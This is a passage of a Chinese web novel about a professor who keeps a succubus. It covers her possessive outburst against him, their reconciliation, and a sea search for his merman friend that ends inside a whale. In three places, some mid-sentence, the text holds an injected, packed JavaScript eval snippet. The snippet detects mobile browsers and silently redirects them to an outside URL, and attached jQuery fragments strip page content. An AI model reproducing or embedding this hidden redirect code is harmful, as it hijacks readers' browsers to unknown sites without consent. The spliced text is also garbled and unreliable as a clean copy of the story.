我跑了起来。 还是那条一模一样的通道。 我在前方看到了一点亮光。 推门而入…… 水池、房间。 啧。 要命,是循环。 这套路也太老了。 欸,等一下,水池不一样了。 不是绿色化粪池了,现在变成了一片蓝色海洋。 我丢下去一支笔,笔没事。 然后我把手伸进去,捧起一把。 水很干净,是透明的,没有异味。 可聚在一起,就变成了蓝色。 为了食品安全和物种和谐,禁止随意改变物品原本的颜色,除非这是大自然的产物。 商场的“绿色通道”里哪有什么天然的东西,连抬头就能看见的太阳都是人造的。 这个新空间,是旧空间碎裂后的产物…… 也就是说,这里才是真正的“兔子洞”。 我靠近水池,蹲下身,往下看。 看清楚了吗?自己的样子。 我不是爱丽丝,小魅才是。 是他掉进了兔子洞,来到了我家门口。 我收回身上的外骨骼,让它重新裹在背包上,当作防水装置。 小魅会游泳吗? 我从没在家里见过他进泳池。 不过在浴室亲吻的时候,他确实能憋很长一口气。 也对,我怎么没想到这一点。 他身上水属性那么强,理应是通水性的。 我在水池边现场做了一套拉伸,随后…… “扑通——” “咕噜咕噜……” “咕噜咕噜……” 完蛋,太久没游泳,浮不上来了…… 行吧行吧,我没有昏迷,只是开启了自我保护系统,暂时性失去意识而已。 在哪儿? 呵,在水里。 反正等我一睁眼,已经漂在自家泳池上了。 我又浮上来了。 掐头去尾留中间,四舍五入、前后拼接一下…… 嗯,我会游泳。 晚饭也不用吃了,我已经喝饱了。 家里很亮,灯火通明。 小魅回来了。 花园里的花谢了。 外骨骼收回,变回一枚戒指,被我攥在手里。 浑身湿答答的我,拎着干巴巴的包,慢悠悠地开门,看向羞答答的他。 “主人,你怎么这么晚……你怎么湿了?” 我站在门口,心情复杂,不知如何作答。 嘴巴张了又张,千言万语,最后汇成一句骚话: “想你想到湿身。” 他愣住了。 我猜他正在头脑风暴。 “那个……有这么想念吗?” “有,我可想你了,现在都恨不得好好爱抚你。所以,我能进家门吗?” 没错,我还站在玄关滴水。 我从来没这么“水灵”过。 浴室那次不算。 想骂脏话,又怕不过审。 深吸一口气,我拉住正要去拿毛巾的魅魔。 手心的戒指硌到了他,他顺势接过去,戴在了无名指上。 “小魅。” “嗯?” “我很爱你。” “……我也是。” 他犹豫了,还松开了我的手,后退了一步。 为什么要低下头? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470450|201450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么不敢看我? “我真的很爱你,你应该能感受到。” “是的,我……确实。” 我往前一步。 我讨厌他后退的动作。 再退一步试试看? 我一步步逼近他,一点一点,把他困在墙角那方寸之地。 “我现在依旧如此,我爱你,我爱你,我爱你!” “天知道我多想把你拴在家里,掰断你的翅膀。你猜我会不会这么做?你知道的,我力气很大,一对翅膀不算什么,你长出多少对,我就掰断多少对。” “我从没见过你展翅飞翔,是不是因为我的别墅不够大,空间不够你施展,所以你才喜欢飞到外面去,高高地、永远不再回来?” “我还不够纵容你吗?我准许你亲吻我,准许你住在这里,准许你外出,我甚至还准备给你办身份证、办银行卡。” “我想把你甜蜜的嘴巴永远堵住,让你只会说赞美我的话,只会亲吻我一个人。” “你嫌弃我的孤独吗?嫌弃我无趣吗?嫌弃我一身老人味吗?没错,我已经两百岁了,可我还能活更久。真不幸,所谓顶级魅魔,要因为我,好几百年都逃不出这栋房子。” “我们才相处了三天,可我已经无可救药地爱上了你。那你为什么要逃离我?为什么又像猫、狗、花、草一样离我远去?” “你看啊,转头看看!才三天,花又谢了。” 小魅瘫坐在地上,姿势怪异。 我的指尖,还残留着掐过他脸颊的触感。 我收回撑在墙上的手,安静地站在他面前,低头看着他。 我不知道自己现在是什么表情。 但是,小魅脸上那两道指印格外清晰。 他瞪大了眼睛,那双我最爱的粉红色眼睛里,盛满了…… 我的样子,在他眼里变得模糊。 因为他在哭,在害怕。 我的脚下积起一滩水渍,我觉得自己像一只水鬼。 一切都爆发了,我控制不住自己。 “我爱你,我爱你,我爱你,我爱你……你听见了吗?” “我问你听见了没有!回答我!” 小魅为什么不点头? 为什么不回应我? 为什么在发抖? 真的怕我吗? “呃——痛……” 对不起,弄疼你了。 对不起…… 可是,我爱你。 “主人……啊啊啊,松开,松开!” “主人,对不起……对不起……痛!啊啊!” 外骨骼疯狂生长,银色的机械像吃麦片的黏菌,疯狂繁殖、拼命蔓延。 它们爬过他的胸膛,顺着腿部向下延伸,把他钉在了墙上。 我抚摸着他的脸。 客服说,这叫爱抚。 如果他爱我,我能把他摸得皮都秃噜下来。 皮掉了,他就变白了。 “主人,主人,对不起,我骗了你,啊啊啊——让这东西停下来!” 小魅还在骗我。 外骨骼覆在身上的时候,根本不痛。 “让它停下来,我们好好谈谈,求你,求……” “对不起……” “我爱你,我爱你,我爱你……主人你听见了吗?” 我亲了亲他的脸。 他泣不成声。 “我会永远陪着你,我的寿命很长……” “我骗过你很多事,但唯独我爱你,这是真的。” “第一天见到你,我就爱上你了。” “主人……求求你……” 他开始像变色龙一样变化。 “巧克力色”的小魅,第一次在我面前变成了“牛奶色”的小魅。 变色龙会跟着环境改变颜色,以求自保。 小魅,就是那只变色龙。 8. 饲养魅魔第八天 我的脑子一片空白,静静地看着白里透红的小魅贴在墙上哭泣。 “主人……” 小魅的声音不知从哪个星系传来,我却听不清,耳边只充斥着“哔——”的耳鸣声。 就像被流放到火星,辛辛苦苦在寸草不生的地方种下一大片土豆,结果土豆全冻死了。 就是这样绝望。 “F**k。” 我对着小魅的嘴吻下去,舔到了他的眼泪,有点咸。 于是,我顺着他泪痕的痕迹,轻轻吻了吻他的脸颊。 白色的小魅也很有魅力,白里透粉。这层“粉”是被外骨骼磨出来的,原本自然的粉色早已被吓得褪成惨白。 我又吻了吻他的眼睛。 “主人……” 土豆说话了? 火星里没有氧气,土豆怎么可能说话。 嘴、眼睛、额头、下巴…… 我捧着他的脸,一处不落地全都亲了一遍。 我对待他,就像对待最后一顿晚餐那般珍重。 我要去洗澡,明天还要上班。 我捡起地上的包,随手甩进沙发里。 在卧室准备好换洗衣物,又拿出一个小瓶子。 “嘭!” 瓶子在小魅脚边炸开。 我们今晚,第一次分房睡。 我这次没有做笔记,一目十行地看完了《魅魔饲养手册》。 · 白天越来越长,早上七点,天就已经大亮。 客厅整洁得和往常一样。 我今天穿了一双平底鞋,鞋底很薄,脚底几乎贴着地面。 搭配一条浅绿色纱制长裙,把头发挽起,背上单肩包。 “主人……” 白色的小魅出现在客厅里,冷白的皮肤几乎要在阳光下曝光。 我都快认不出他了。 “我叫姚爱。” 小魅往前挪了一步,不敢越过客厅的中轴线,嗫嚅道:“姚……爱……” 又摇摇头,“叫‘主人’就够了。” 管他喊不喊我的名字,我不在意,我给了他足够的自由。 Dobbyisfree. 小魅自由了。 我发誓不会再为他停留。 ……好吧,他一喊我,我就会停下脚步,只是不转身看他。 “我能和你去学校吗?”他问。 我背对着他,嗤笑一声:“去学校学习吗?等你认了字、有了知识,然后……远走高飞?” 我甚至还配上了手部动作,不知情的人看了,还以为我在音乐厅指挥交响乐团。 “不……我想去陪着你。” 我看不清小魅的表情,也不知道他的肤色有没有变回来。他继续说:“你最近新换了一间办公室,只有你一个人,我怕你孤单,就……” 我很想用“我不孤单,我还有一群笨蛋学生”来反驳他。可我还是忍不住偷偷回头看他,他变成了巧克力色的小魅。 到了嘴边的驳斥,一下子说不出口了。 “你更喜欢我原来的样子,是吗?” 小魅转了个圈,“我还以为,你会更喜欢白色。” 我更喜欢“巧克力”,不喜欢“牛奶”,因为那是我们第一次见面时他的模样。 “一起去吧。” 他还在不停地说服我,一边说一边往前走一步:“去实验室,抽我的血,让我躺在手术台上,研究魅魔的魔纹,还有我独一无二的变色能力,主人怎样都可以。” 他又哭了,哭得很美,泪珠“啪嗒啪嗒”掉在地上,“我……我不认字,但实验流程我很熟,我会对你坦白一切,带我去吧……” 我才发现,他对我,已经不用“您”了。 · 我带他去,纯粹是因为上班快迟到了,没别的。 对,我还没有原谅他。 真的。 学校离我的大别墅有点远。 准确说,为了给实验室腾地方,学校建在了国都最边缘。 小魅个子不高,长得很年轻,把恶魔角遮起来,整个人就像个大学生。 他安静地坐在副驾驶上,这是他第一次坐我开的车。 昨天那辆车还停在中央大街,中午才能让人给我送回家。 小魅看着我的侧脸,双手交叠放在腿上,一动也不动:“主人有什么想问的吗?” “我差不多猜到一点,只是还不确定。” “嗯……”他低下头,“我没有离开主人的想法,我会一直陪着主人。” 昨晚我那副失控的样子,现在想起来都觉得尴尬,活像个跪地朝天大喊“你以为你得到的是谁的爱,是一个天神的爱”的非主流。 真的太……啊啊啊!我居然是病娇!不能再想了,脚趾已经在做眼保健操最后一节了! “我……我昨晚其实想通了。” “好……挺好的。” “我现在想知道的是,我家泳池,是你不小心连上的,还是故意的?还有,泳池能通到国都外的大海吗?” “是不小心连上的,没法从泳池通向大海,只有人鱼可以从那个水池回到大海。” “那就好,就怕鲨鱼突然在我游泳的时候冒出来。” 小魅扯了扯嘴角,算是对这个冷笑话的回应。 “你造的还是你朋友造的?” “我朋友造的。” “你没有你朋友厉害。” 小魅看向窗外:“事实如此。” 我不再问话,这反倒让小魅变得格外忐忑。 “主人,你不问我原来的那个顶级魅魔去哪里了吗?” “你杀了他?” “没有,他还活着,自己走了。” “没事,不重要,你也是顶级的。” 小魅自嘲地笑了一声:“原来不重要啊。我之前还很怕主人会从《魅魔饲养手册》上发现我是盗版货。” “手册上没写,这本书废物得很,大部分都是法律知识。” “真的吗?” “嗯,真的。” 是假的。 小魅是个不正常的魅魔。 在“魅魔的习性”那一章里写着:正常魅魔只想着交欢,用□□满足自己,没有道德底线,没脑子、没思想,更别说想学习、做优秀青年了。 小魅却完全相反。他只喜欢亲亲,想学习,有脑子,能像人一样举一反三、正常说话。 他和我一样,是变异物种。 我问他:“还想去中央大街吗?” “不想了。我昨天去那里,就是为了把那个脏地方毁掉。” “需要我帮忙吗?” 小魅摇摇头:“不用。我连续去了几次,那里的魅魔都被我们转移了,今天他去捣毁那个地方。” “你和你的人鱼朋友还挺仗义。” 他自嘲道:“毕竟我们是从同一个地方出来的。” 小魅叹了口气,释然地笑了:“就算他们还是会被抓回去,大概只有我是幸运的,逃出来之后,还有一个好去处。” 这个宇宙里,有向阳的地方,就有背阴的角落。这是社会运行必然存在的阴暗面,因为所有物种都有欲望——财欲、爱欲、权欲…… “主人到学校之后,要对我做什么?” “活体物种实验是犯法的,所以我就抽一管血,你在旁边陪着我就好。” 我真恨不得给自己两巴掌,在心里骂自己别爱了别爱了。可是…… 先别骂,我先骂我自己:姚爱你个大笨蛋,一点都不争气,这就原谅他了?你个宇宙无敌超级恋爱脑! 话说回来,我当初到底在气什么? 气他不打一声招呼就离开我,气他骗我。 可现在他说不会离开我,也都坦白了,我气消了也很正常吧? 何况他还愿意配合我做实验…… 嗯……这么一想,我也没那么恋爱脑,我只是可怜他,有点同情心而已。 唉,他才刚从那个非法贩卖魅魔的黑暗地方逃出来,我就不对他要求太高了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470451|201450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 再说,这么通人性的魅魔,世间少有! 我越想越开心,差点就要哼起歌来。 转头一看低头抠着手的小魅,真是恨铁不成钢! 主人都这么开心了,就别垂头丧气地败坏风景啦。 红灯,车停下。 我用指尖敲着方向盘:“小魅。” 他抬起头,一脸疑惑:“嗯?” 红灯还有三十秒。 眼疾手快!我一把掰过他的头,掐住他的下巴,掀起他的帽子用力一扯,“吧唧”一口。 不,是“muamuamua”三口。 完美卡点,亲完刚好变绿灯。 “主人……” “不必说了,我的亲吻技术确实很好。” “那个……安全带勒到我胸口了,有点疼。” “……抱歉,你下次主动把安全带解开行不行?” “行。” 他按下安全带的卡扣:“前面还有一个红灯。” 我对他比了个“OK”。 · “姚教授早上好。” “姚教授这么早就来了。” “姚教授今天几节课啊?下课一起去吃午饭啊?” “姚教授……” 小魅背着我的包,拿着我刚打印好的资料,亦步亦趋地跟在我身后。 “姚教授,这位是……” 问话的是我的同事,和我带同一个班。她在材料学方面很厉害,最近一直在研究γ链的衍生产物。 我教机械,她教材料,我们两个专业有不少交集。 “他是我家人,也是我的新助理。” “小魅,这位是赵云礼,赵教授。” 我拍了拍小魅的肩膀,小魅微微鞠躬问好:“赵教授好。” 赵云礼看看我,又看看他。 “你好你好,小弟弟可以常来找我玩啊。姚教授不在的话,有不懂的问题也可以来问我。” 小魅点点头,笑眯眯地说:“谢谢赵教授。” 我打开办公室门,把包放在门口的架子上,资料放进里面的实验室。 “主人……” “在学校里请叫我职称。” “……姚教授。” “嗯。” 小魅摘下帽子散热:“我和姚教授是家人。” “对。” “会亲嘴的家人。” “对。” “会亲嘴的家人就是爱人。” “对。” “爱人也是家人。” “对。” 我瞥了他一眼,不知道他想问什么。 “有什么问题吗?” 小魅摇摇头,重新把帽子戴好:“没有,没问题,弟弟也蛮好的,骨科也很带劲。” 什么骨科,食堂好像有卖骨头汤的。 “中午带你去吃糖醋排骨和骨头炖白萝卜汤。” “姚教授,我不吃这些。” “对不起,我忘了,中午给你吸点血。” “行。” 我坐在人体工学椅上,拿着针管和消毒设备滑到他身边。 小魅自觉地撸起袖子,让我抽血。他的血是暗红色的,和人类差不多。 “我下午才有课,到时候你跟我一起去吗?” “我不认字,听不懂。” “我这里有之前买的字典,你在教室后面帮我录课,可以吗?” “行。” 他按住针口,一眨不眨地看着自己的手臂。 我怕他不舒服:“疼吗?” “不疼,只是……很久没被抽过血了。” 我摸了摸他的头:“就这一次,最后一次。” 我把血液放进离心机,吩咐一旁的小魅:“录课的相机在放包的柜子里,顺便把字典拿出来。相机里有我之前无聊时录的认字课,你可以自己学吗?” 恋爱脑姚教授把一切都准备好了。 小魅应该和我那些笨学生一样聪明。 嗯,行。 9. 饲养魅魔第九天 小魅意外地好学,或许这就是“择善而从,见贤思齐”。 谁叫我就是个天才呢,离天才近,学得就是快。 小魅在教室后面摆弄相机。 他架起相机,安置在大教室后方,调整角度、调试设备,准备好后对我比了个“OK”。 后几排的同学对他格外好奇。 小魅说:“我是姚教授的情弟弟。” 同学了然地点头:“我就说吧,他是姚爱的亲弟弟。” 小魅搬了张凳子,坐在相机支架旁。 “你们为什么不叫她老师,或者教授?”他丝毫不客气地说道,“没礼貌。” 在学校里,学生背后直呼老师大名是常事,但当着老师的面,都会乖乖称呼“教授”或“老师”。 前排的男生给了旁边的人一拳:“说你呢,没礼貌,把人家亲弟弟都惹生气了。” “那怎么办,弟弟会不会告状啊?OMG,完了完了,我肯定进不了实验室了!” 两个男生哈哈大笑。 看到我扫过去的视线,又立马闭嘴,低下头装鹌鹑。 小魅白了他们一眼。 如果他们真是姚教授的得意门生,肯定会坐在前排,而不是缩在最后无所事事、侃大山。 前面两排并没坐满,大多空着,很多学生从第三排才开始往后坐。 事实上,认真听课的人会选最舒服的位置。 三四五排这种中间位置视野最好,直视黑板,也正对老师。 下课后,我看着手里抱着字典、拎着设备、气鼓鼓的小魅,笑着问道:“生气了?” “他们一点都不尊重你。” “所以呢?我要跟那群学生对着干吗?” 小魅嗫嚅道:“倒也不是这样……” 我接过相机,牵着他的手:“如果你真能来学校,能学到的可不只是书本上的知识。” 小魅补了一句:“还能学到怎么分辨蠢货。” 我一直忽略了一个问题:小魅不认字,是怎么看脑环上的信息的? 很好,小魅的脑环自带防窥,上面全是魅魔语与人鱼语两种文字。 小魅用看白痴的眼神瞥了我一眼:“我只是不认识第九星系人类的文字。” 我现在无比想念秦始皇。 我希望他能活到星际时代,统一文字。 说来可悲,大多数魅魔都不识字。 因为他们一旦通过文字产生独立思想,对主人而言十分不利。 “更糟的来了,”小魅盯着一堆杂乱的符号说,“蓝鱼发求救信号了。” · 真的,我没想到人鱼起名字也这么随便。 “蓝鱼是一条蓝色的鱼,所以叫蓝鱼。” 我:“……哇哦。” “我是魅魔,所以叫小魅。” 我:“好听!” 是真的好听,因为这个名字是他自己取的。 “如果我以后去上学,就叫姚魅。” 我当然举双手双脚赞成,不过…… 幺妹…… 对不起小魅,有点好笑。 我劝他:“你可以选别的姓氏,不一定非要跟我姓。” 我笑着说:“等你学会人类文字,就从中挑一个喜欢的姓,加在名字前面。” “我和你是一家人。” 我反驳道:“一家人就必须同一个姓吗?你的人生你自己决定,就从名字开始。” 他坐在副驾,低着头。我看了眼前方的红绿灯,踩下油门。 “这不是强迫你,当然,如果你喜欢我的姓,也可以用。” 我不是什么心怀大爱的人,为魅魔争取权益而成立“魅魔权益促进会”这种事,我做不到。 种族问题是历史遗留问题,我不是伟人,我只希望小魅能做自己。 其他物种,与我无关,我也懒得管。 至于蓝鱼…… 小魅要去中央大街探查情况,他要去,我就跟着看看,仅此而已。 再次来到中央大街,上一辆车刚开回家,这辆车又开了进来。 这次进入异界格外轻松,我从没想过小魅还有这种本事。 他只是牵着我的手,下一秒,我们就瞬移到了水池旁。 原本就乱糟糟的异空间,此刻更乱了。 我环顾四周:“你的鱼朋友呢?” 水池很干净,表面看依旧是蓝色,只是越往下越黑,不知是不是错觉,这个水池,变深了。 空气中弥漫着刺鼻的血腥味,浓重的铁锈味疯狂冲击着我的鼻腔。 小魅急忙推开内室大门,“砰”的一声,灰白色粉尘扑面而来。 不知室内哪来的风,大风裹着粉尘直扑过来。 我拽住小魅,外骨骼瞬间覆上双腿,与地面牢牢钉死。 内室里的报纸和纸盒全被烧成废墟,满地都是灰烬。 小魅捂住嘴,正要往里走。 我拉住他:“别去。” “蓝鱼不见了。” “他变成烤鱼了?” 很抱歉,这种时候还说这种玩笑。 异空间里满是粉尘、浓烟与灰烬,变得逼仄压抑,让人喘不过气。 “滋——” 是火星! F**k! 脏话还没骂出口! “砰!” 我们俩已经被炸进了水池里。 呵呵…… 幸亏我外骨骼收缩得快,不然就得钉在原地等着粉尘爆炸了。 我讨厌游泳…… 说实话,我根本不会游泳…… · “主人……” “主人……” 谁在叫我? “啪、啪、啪” 等会儿,脸有点疼。 欸,不对,手臂也疼。 “主人……” “pia、pia、pia” 别叫了,别打了,我已经在拼命睁眼了。 我睁—— 睁—— 给我睁开! “咳、咳——” “yue——” 我终于醒了,一边咳嗽一边干呕。 “主人,你没事吧?” 小魅一边顺着我的背,一边关切地问。 我很感动,但怎么看我都不像是没事的样子。 我一字一顿道:“难、受。” “我们被卷到沙滩上了。” “哈?” 我的第一反应竟然是:我的车又落在中央大街了。 哎呦我天,这都什么事儿啊?! 前方是一望无际的大海,身后是植被覆盖率80%的孤岛。 不是吧……鲁滨逊漂流记还能真实上演?! 小魅已经拉着我准备荒野求生了:“蓝鱼很可能在这里,我要找到他,他受伤了。” 我还能说什么?小魅开团,我秒跟就完事了。 先说好,我不是贝尔·格里尔斯,我只是个大学教授。 一脚陷进沙滩里,又费力拔出来。 没想到,我竟是以这种方式来到一片漂亮的沙滩。 小魅牵着我的手,绕着孤岛行走。 这里风景确实不错,能看见贝壳,还有埋在沙里的猫眼螺和横着爬的螃蟹。 第九星系还有这么美的地方吗? 小魅踢开一只空壳,里面还缩着一只八爪鱼:“这里是十一星系。” ??? “哈?人鱼的地盘?!我们……我……wdf。” 虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470452|201450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然知道异界的水池不对劲,能连通海洋,可、可、可!没人告诉我是十一星系的人鱼老家啊! 我皱眉:“我从没来过这里。” 小魅:“我也是。” “你的人鱼朋友没带你来过吗?” “我们是在三号星海猎船上相遇的,当时被关在同一个房间,他很少跟我说老家的事。” 我握紧他的手:“那你呢?” 小魅笑了笑:“我和他不一样,我的老家就是星海猎船,我在那里出生,身上不知道混了什么物种的血脉。” 他晃了晃我的手:“我想魅魔血脉应该占一半以上,或者肯定是显性基因,不然我就不长这样了。” 说得倒是轻松…… 我强装镇定地捏了捏他的脸:“你学到的东西不少嘛,还知道显性基因。” 他骄傲地撅起嘴:“哼,毕竟是跟着姚教授上课的。” 星海猎船游走在灰色地带,在各星系法律边缘反复横跳,堪称法外之地。 但如今,它已隐隐与十二个星系达成了某种平衡。 这该死的世界,处处充斥着利益。只要能赚钱,就有人和这群无恶不作的家伙贸易往来,甚至进行其他灰色交易。 我绝不相信,物种贩卖与非法实验,会没有星系在背后参与或默许。 三号星海猎船在二十年前就被炸了。 那场小规模战争,是近些年来最后一次热战。 这次战争规模太小,况且我没参战,了解不多。 自从四十年前与第三星系巢群蠕虫的战争结束后,我就决定不再研究战争武器,不再踏上战场。 说得难听点,我当年发的就是战争财。 一百年,整整一百年,小魅都待在星海猎船上被人研究?! “不,是八十年。三号船不是被宿淮上将炸了吗?” 这是我唯一一次感谢战争,小魅正是借着那场战乱逃了出来。 我真是毫无同理心、自私至极,竟然会感谢一场战争! “后面二十年,我就和蓝鱼一起流浪,回到第十二星系,然后才发现了中央大街这笔隐藏的异界买卖。” 我之前的猜想果然有些偏差。 我一直以为,小魅是从异界贩卖场里逃出来的。 甚至他的肤色,都格外符合三角贸易的特征…… 地狱笑话,致歉。 我们用脚把孤岛丈量了一遍,岛不大,但物种丰富。 小魅喃喃自语:“这下真是摸着石头过河了……联系不上蓝鱼的脑环。” 我们对这个遍布海水的星系一无所知。 这时我提出疑问:“我们被水池传送到了这里,但蓝鱼真的会在这里吗?” 我继续推理:“很奇怪啊,蓝鱼不是很讨厌这里吗?他真会因为受伤回到这里吗?” “他怎么受伤的我们都不确定,而且现在我几乎闻不到血腥味,根本没法定位蓝鱼。” 大海捞针。 不,是大海捞鱼。 更可悲的是,我全身上下,只剩下一个外骨骼。 行吧,想点好的,我来之前还换了一身方便的裤装。 小魅回到我们冲上岸的位置,笃定地说:“不,蓝鱼绝对在这里。” 他在沙滩上画了一个圈:“蓝鱼之前开的通道有两条,一条是通道我们家,用来解救魅魔,一条是通向国都外的大海,用来逃跑。” “但是……”小魅看向风平浪静的海洋,“在没通知我的情况下,通道改变。” 我随着他的视线看过去,海鸥在海面上飞翔,在浅海游荡,它们低着头拾取鱼虾蟹贝。 海浪拍打基岩,一下一下,往后退,发力,往前冲。 “嘭嗤——” “风大了。”小魅说。 10. 饲养魅魔第第十天 顶级魅魔之所以是顶级,或许是因为他心中藏着大爱吧。 一位为自己族人奉献的义士拯救另一位义士,这本该是一部热血番,却被我写成了一段毫无情绪起伏、食之无味的流水账。 嗯…… 还是很佩服色诺芬,能在《长征记》里如此大夸特夸自己。 反正我…… 好吧,我试试! 将士们,听从我的命令,冲锋! 滋——噗—— “主人,外骨骼是用来推动木筏的吗?!!” 啊……呵呵,当然…… 我们从小岛上砍伐木材,做成木筏,越来越像鲁滨逊了。 外骨骼不断生长,包裹住木筏后,从表面看,跟银灰色的铁板差不多,但铁会沉到海里,外骨骼不会。 在木筏末尾,我把外骨骼掰成了一个螺旋桨,至于怎么让它动起来…… 我有随身携带信息素的习惯,之前的信息素都装在一个个小瓶子里,这种储存方式太麻烦,于是我就在外骨骼的连接处装上隔离袋,袋子里放了不同等级的信息素,Alpha、Omega都有。 为了防止信息素不够用,空间储存器里还备有普通罐装信息素。 D级Alpha信息素就可以催动外骨骼行动。 隔离袋破一个角,信息素沿着缝隙粘附在外骨骼上,信息素等级很低,外骨骼的收缩能力就会大打折扣。 螺旋桨在收缩过程中会不自觉地抵抗信息素,跟左右脑互搏一样,一边伸一边缩。调整信息素的分散角度,让外骨骼左右伸缩,就可以相互作用。 嗡嗡—— 螺旋桨就转起来了。 没办法,就是这么聪明。 “好啦好啦,主人是天才,亲爱的姚教授可以坐下吗?总是站着太危险了。” 小魅拉了拉我的衣角,让我乖乖坐下。 十一星系岛屿众多,全是小小的孤岛,地域隔离让各个岛屿上的植被与动物长得各不相同。 小魅说:“蓝鱼的空间传送虽说定位不准,但偏差不会太大,我们就在周围十几个岛屿找找吧。” 我直起身,草草扫了一眼四周:“十几个岛屿,这还不多?!” 小魅双手一比划,覆盖的范围就是方圆一百里。 “我上去看看。” 说完,小魅翅膀一张,双脚一蹬,径直飞向高空。 力的作用是相互的,木筏被这股力道带得左摇右晃。 我抬头朝天上喊道:“人鱼疗伤会在海里?还是在陆地?” 小魅悬在空中:“海里,我在找血迹。” 人鱼的血也是红色的。 但是…… “都过了这么久,会不会被海水稀释掉?” 小魅:“不会,蓝鱼的血比较特殊。他常年被注射药物,所以血液会凝滞。” 我不确定地想:“也就是说,他的血会凝成一块块血块,浮在海面上?” 小魅点头:“差不多是这样。” 大海一望无际,岛屿在海面上只是一个又一个小黑点。 海面像人的脸,岛就是人脸上的痘痘,突兀地凸出来一块。海要是想“挤痘痘”,就涨潮淹没岛屿,不过潮水退去,痘痘又会冒出来。 我第一次见到这么壮观的海。 “呜——” 是鲸鱼! 鲸鱼跃出海面,一个翻滚,海面掀起几十米高的浪花。 木筏如同坐上了过山车,随着海浪上下颠簸,刺激得很。 “小魅!快看,鲸鱼在吃东西!它还在打滚、喷水!” 我激动地把小魅喊下来,拽着他一起在木筏上,观赏这两百年都未曾见过的奇观。 我们俩像没见过世面的孩子,跪在木筏上,紧紧抓着筏边,低头看着巨大的鲸鱼从木筏底下游过。 我们离它如此之近,它本身就像一座小岛,我们连它头顶的呼吸孔都看得清清楚楚。 我正想伸手,试试能不能摸到鲸鱼的身体。 “主人,有点不对劲……” “哪里不对……” 话还没说完! 鲸鱼尾巴一甩,滔天大浪迎面扑来,从头淋到脚,木筏被浪掀到空中。 “呜——” 鲸鱼尾巴重重砸下,我们的木筏也跟着急速下坠。 它张大嘴,一翕一合间,无数鱼虾,连带着我们的木筏,一齐被吞入腹中,不见天日。 “嘭——” 鲸鱼在空中腾跃,重重砸入海洋。 “嘭!” 我们跟着一群不知名的海洋生物,随着鲸鱼的跳动,在它肚子里不停地自转、公转。 !!! 滚筒洗衣机! 我恨你! 我立刻收回信息素,强行将外骨骼掰成球状,和小魅紧紧贴在一起。它的翅膀也变大,将我俩牢牢护住。 一层又一层,最内层是小魅的翅膀,最外层是银色的外骨骼。 “啊啊啊啊啊啊啊啊啊!” 我们在鲸鱼肚子里跌跌撞撞,一弹一跳,四处碰壁。 我隔夜饭都快要被颠出来了! 忍不住张大嘴。 yue—— 小魅连忙捂住我的嘴,疯狂对我摇头。 别吐别吐别吐! 我俩四目相对,我死死抱着他,零距离贴在一起。 我讨厌大海! 鲸鱼狭长的食道疯狂挤压着我们的保护球。 嗯……我只记得这些了。 因为缺氧,我又又又晕了过去。 重申一次,我讨厌海洋! 死鱼!别让我找到你! · “pia、pia、pia” 手臂传来熟悉的痛感。 行吧,我知道流程了。 给我睁开眼! 睁—— 一道温润的声音传入耳中,那人的声线比小魅更低沉。 “她怎么还不醒?” 小魅的声音我记得:“别急。” 嘴巴被填满。 应该是小魅在给我做人工呼吸。 我的触觉和听觉都正常,就是睁不开眼,身体沉重无比,就像被人剖腹、腹腔塞满石头后扔进海里,一直不停地往下坠。 我猜那人是蓝鱼,因为听声音,他和小魅很熟。 蓝鱼说:“麻药劲有点大……” “啪!” 一声清脆的声响,没打在我身上。 小魅怒吼:“还不都是你的错,滚!” 再次,小魅为我做人工呼吸,同时用力拍打我的手臂。 okok,要醒了。 我睁—— 给我睁开眼! 胸腔被猛地挤压,内脏仿佛要被挤爆! 突然,我一口水喷了出来:“咳咳!” 小魅的身影在我面前渐渐清晰。 他变成了“奶油”小魅。 “主人,主人,你怎么样?” 我微微抬起手,勾住他的小指:“还好,嘿嘿。” 小魅抱住我,头抵在我的胸口,闷闷地说:“还好还好,吓死我了……” 我被他扶起,靠在鲜红的肉壁上。 后背的肉壁有规律地缓缓蠕动,像按摩椅一样,从上到下,将我轻轻包裹,进行全方位按摩。 这里弥漫着一股血腥味,前方并没有我预想中腐蚀性极强的胃酸和各类鱼类尸体。 空旷的“山洞”? 这里是鲸鱼的胃? 一名蓝发男子盘腿坐在洞窟中央,手掌撑着下巴,似笑非笑地看向我。 什么破眼神? 这条死鱼。 我白了他一眼,弱弱地缩在小魅怀里,小魅皱着眉,轻轻给我按摩额头。 死鱼开口:“我是蓝鱼。” 我应:“嗯。” “我是你爱人的朋友。” 我闭上眼:“嗯。” 空气安静了一瞬。 我脑中理清了大概思路,开口:“这是你的秘密基地?” 蓝鱼:“是。” 我盘腿坐好,牵着小魅的手,享受着背后肉壁的按摩:“这条鲸鱼是你操控的。” “是。” 